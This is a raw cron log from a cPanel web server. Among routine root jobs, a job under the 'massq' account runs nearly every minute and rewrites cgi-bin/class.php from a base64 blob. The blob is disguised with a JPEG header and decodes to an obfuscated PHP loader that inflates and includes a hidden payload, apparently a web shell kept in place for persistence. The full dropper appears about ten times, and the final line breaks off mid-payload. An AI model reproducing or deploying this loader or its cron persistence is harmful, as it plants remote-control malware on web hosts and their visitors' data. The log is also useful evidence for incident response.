Sep  6 14:25:01 server CROND[13119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:25:01 server CROND[13121]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:25:01 server CROND[13122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:25:01 server CROND[13123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:25:01 server CROND[13126]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:25:01 server CROND[13127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:25:01 server CROND[13124]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 14:26:01 server CROND[14037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:26:01 server CROND[14038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:26:01 server CROND[14039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:27:01 server CROND[14424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:27:01 server CROND[14425]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 14:27:01 server CROND[14426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:27:01 server CROND[14427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:28:01 server CROND[14895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:28:01 server CROND[14896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:28:01 server CROND[14897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:29:02 server CROND[15265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:29:02 server CROND[15266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:29:02 server CROND[15267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:30:01 server CROND[15633]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:30:01 server CROND[15639]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:30:01 server CROND[15640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:30:01 server CROND[15641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:30:01 server CROND[15642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:30:01 server CROND[15643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:30:01 server CROND[15644]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:30:01 server CROND[15645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:31:01 server CROND[16462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:31:01 server CROND[16463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:31:01 server CROND[16461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:32:01 server CROND[16828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:32:01 server CROND[16829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:32:01 server CROND[16831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:33:01 server CROND[17208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:33:01 server CROND[17209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:33:01 server CROND[17211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:34:01 server CROND[17676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:34:01 server CROND[17677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:34:01 server CROND[17678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:35:01 server CROND[18087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:35:01 server CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:35:01 server CROND[18106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 14:35:01 server CROND[18103]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 14:35:01 server CROND[18108]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:35:01 server CROND[18107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:35:01 server CROND[18109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:35:01 server CROND[18104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:35:01 server CROND[18105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:36:01 server CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:36:01 server CROND[18937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:36:01 server CROND[18944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0